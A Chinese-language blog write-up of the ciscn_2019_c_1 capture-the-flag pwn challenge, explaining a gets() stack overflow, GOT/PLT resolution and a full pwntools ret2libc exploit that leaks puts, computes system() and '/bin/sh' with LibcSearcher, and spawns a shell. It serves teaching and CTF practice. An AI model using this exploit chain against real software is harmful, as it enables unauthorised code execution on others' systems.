Buuoj冲分过程-ciscn_2019_c_1

ROP入门

Posted by kayoch1n's blog on July 14, 2020

正文

Check二进制对象

先把程序下载下来检查下是什么情况:x86-64,有符号表,禁止从堆栈执行代码而且没有栈溢出警惕标志。

[root@VM_0_5_centos buuoj]# file ciscn_2019_c_1 
ciscn_2019_c_1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=06ddf49af2b8c7ed708d3cfd8aec8757bca82544, not stripped
[root@VM_0_5_centos buuoj]# checksec ciscn_2019_c_1 
[*] '/home/buuoj/ciscn_2019_c_1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled  # 堆栈不可执行
    PIE:      No PIE (0x400000)

梳理程序逻辑

这是一个交互式的程序,先询问用户输入一个数字,根据数字的值决定后面的流程:

  • 输入1执行加密encrypt()
  • 输入2则是一个假的解密;

接着继续询问数字,直到输入3或其他内容引起了异常而退出。至于执行加密操作的encrypt()函数,它首先通过gets()要求用户输入换行符结束的字符串,然后按照以下逻辑逐个处理并写入原处:

def encrypt2(c):
    if 0x60 < c <= 0x7a:  # 26个小写英文字母
        c = c^0xD
    elif 0x40 < c <= 0x5a:  # 26个大写英文字母
        c = c^0xE
    elif 0x2f < c <= 0x39:  # 0-9
        c = c^0xF
    # 非数字和英文字母不做处理
    return c

存在的风险

使用gets函数有缓冲区溢出的风险,距离返回地址的距离是0x50+0x8=0x58个字节长度;但上述encrypt2()会破坏输入的payload。网上文章多数认为因为使用了异或,所以再加密一次(拼接payload后加密第一次、程序加密第二次)就能还原payload。这个看法不是十分严谨,因为两次加密之后有部分字节不能还原,可用以下代码验证:

forbidden = {x for x in range(256) if x != encrypt2(encrypt2(x))}
print(f"forbidden={forbidden}")
# 输出 forbidden={115, 109, 78, 48, 49, 50, 51, 52, 53, 80, 81, 82, 83, 85, 112, 114, 118, 113}

看得出来,除了 forbidden,其它的字符都能得到还原;因此在构造payload的过程要避免上述字符。不过,其实这个程序的执行流程还存在另一个薄弱环节:

loc_400AB4:
mov     eax, cs:x       ; 全局变量x
mov     ebx, eax
lea     rax, [rbp+s]
mov     rdi, rax        ; s
call    _strlen
cmp     rbx, rax
jb      loc_4009E7      ; 仅当x小于输入内容的长度才会执行encrypt()

encrypt()函数内部是逐个处理字符的循环,结束条件是x大于等于strlen();但是x是一个全局变量,每次加密之前没有被置为0。因此为了防止payload被破坏,用户有两个方法可以选择:

  1. 输入两次,第二次的长度小于strlen()
  2. 输入内容包含\x00

总结下,网上文章能成功的原因有两类,一是payload的每个字节都恰好能被还原;二是直接用\X00字节填充到返回地址之前,完全绕过加密逻辑。

寻找合适的元素以构造payload

gadgets

ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'
# 查找 gadgets

泄露C库函数地址: system()

不像前面的题目,这里没有现成的system("/bin/sh")的调用,IDA的函数列表里面也木有system;虽然堆栈不可执行,但是因为有使用到其它libc函数,可以尝试以下办法:

  1. 在libc里面找到system()/bin/sh的地址;
  2. ROP 找到用作 gadgets(有的中文书里面把这个叫做跳板)。

system()也是libc里面的函数。对于1,寻找system()地址的一般方法是:

  1. 获得符号表中另一个 libc 函数的地址;
  2. 查找该函数和system()在对应版本libc的偏移;
  3. 计算装载libc的基址;
  4. 计算system()的地址。

因为堆栈不可执行,计算地址的过程无法通过payload实现,所以需要输入两次不同的payload,第一次用来计算地址,第二次才是拉起shell。程序使用了libc的puts(),所以可以通过puts()泄露system()的地址。在C代码中,puts()的调用经过编译后对应的指令 call <0x4006e0 >puts@plt。这个 0x4006e0 不是puts()在libc中的地址,而是puts()的stub函数在PLT中的地址;puts()在libc中的地址实际上存储在GOT的0x602020处。

GOT and PLT 原理

libc库的内容是动态装载到进程空间的,里边的函数和变量的地址只能在运行时定位。这里涉及到GOT表(Global offset table, 全局偏移数组)和PLT表(Procedure linkage table, 过程链接表),外网文章十分清晰明了地讲述了Linux使用这两个数据结构调用库函数的过程。下面记录一下我对这篇文章的理解。

GOT and PLT

任何对puts()的调用都会跳转到 PLT。与其说PLT是一个表,不如说这是一系列stub函数的集合。stub函数的jmp指令并非直接跳转到参数所表示的地址,而是取得这个地址处存储的值并跳转。在第一次调用puts()时,GOT存储stub函数中jmp的下一条指令的地址,导致程序从PLT开始又跳转回到PLT;在定位出puts()在libc中的地址之后,程序把地址写回去GOT。后续调用puts()仍然需要走到PLT的stub函数,但因为真正的地址已经找到并存储在GOT,可以直接跳转而无需回到PLT。

Resolved GOT and PLT

拼接 Payload

x86 和 x86_64 的ROP差异

在 x86 和 x86_64 两种架构下、ROP 方法的 payload 组织方式有所不同:

  • x86 非syscall:
    • 参数通过栈传递,因此一般无需pop和ret指令;
    • 函数能直接访问在payload中预先防止放置的数据,是因为这数据作为些参数通过ebp被访问,而ebp会在函数prologue中设置
      • prologue: push ebp;mov ebp, esp
      • epilogue: leave;ret
    • 组织形式:FUNCTION ADDR + RETURN ADDR + ARGUMENT_0...N
      • 如果要实现执行多个函数,RETURN ADDR需要使用ROP gadget
  • x86_64 非syscall:
    • 前6个参数依次通过寄存器传递: RDI, RSI, RDX, RCX, R8, R9
    • gadget 均包含ret指令;
    • 组织形式:GADGET_0 ADDR + ARGUMENT_0 + GADGET_1 ADDR + … + GADGET_N ADDR + ARGUMENT_N + FUNCTION ADDR

Shell

为了输出puts()的地址,可以将puts()在GOT中的地址0x602020作为参数、调用puts()并打屏。因为amd64下参数一般通过寄存器传递,第一个参数存储在rdi,所以需要找到形如 pop rdi;ret 的gadgets地址去覆盖返回地址,紧跟着作为参数的0x602020(GOT)以及ret的返回地址0x4006e0(PLT)。为了能够第二次输入payload,还需要让程序正常地回到main:

#!/usr/bin/python3.6
from pwn import *

elf = ELF("./ciscn_2019_c_1")
proc = process("./ciscn_2019_c_1")

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
log.info(f'puts: GOT={hex(puts_got)}; PLT={hex(puts_plt)}')

proc.sendlineafter("choice!\n", "1")
pop_rdi = 0x400c83
payload = b'\x00' * 0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(elf.sym['main'])

proc.sendline(bytes(payload))

log.info(proc.recvuntil(b'Ciphertext\n'))
log.info(proc.recvuntil(b'\n'))

libc_puts = u64(proc.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
log.info(f'puts libc={hex(libc_puts)}')

我调试的机器是 CentOS7.7 ,使用 LibcSearcher 找不到puts为0x6b0对应的libc版本,需要先添加到libc-database

ldd ciscn_2019_c_1 
# libc.so.6 => /lib64/libc.so.6 (0x00007f6746632000)
python3 -m pip show LibcSearcher | grep Location
# Location: /home/LibcSearcher
cd /home/LibcSearcher/libc-database/
# cd 到LibcSearcher依赖的libc-database目录
./add /lib64/libc.so.6
./find puts 6b0
# 输出对应的libc库的id

# ところで、也可以稍微验证下有没有找对libc https://stackoverflow.com/a/22997894/8706476
objdump -T /lib/x86_64-linux-gnu/libc.so.6 | grep puts
# 或者更直接一些 https://stackoverflow.com/a/4514781/8706476
nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep puts

计算system():

from LibcSearcher import *

obj = LibcSearcher("puts", libc_puts)

libc_base = libc_puts - obj.dump("puts")
libc_sys = libc_base + obj.dump("system")
libc_binsh = libc_base + obj.dump("str_bin_sh")
log.info(f'libc base={hex(libc_base)}; system={hex(libc_sys)}; /bin/sh={hex(libc_binsh)}')

拼接payload:

proc.sendlineafter("choice!\n", "1")
payload = b'\x00' * 0x58 + p64(pop_rdi) + p64(libc_binsh) + p64(libc_sys)
proc.sendline(payload)

proc.interactive()

上述代码在本地CentOS7.7可以成功拉起shell,然而拉到线上就 segfault. 查阅网上资料发现这是因为Ubuntu18调用system之前会检查栈顶是否对齐16字节,要加上一个ret(相当于加8字节)去尝试。完整的代码在这里

Reference

  1. LiuLian: ciscn_2019_c_1
  2. 暗羽: ciscn_2019_c_1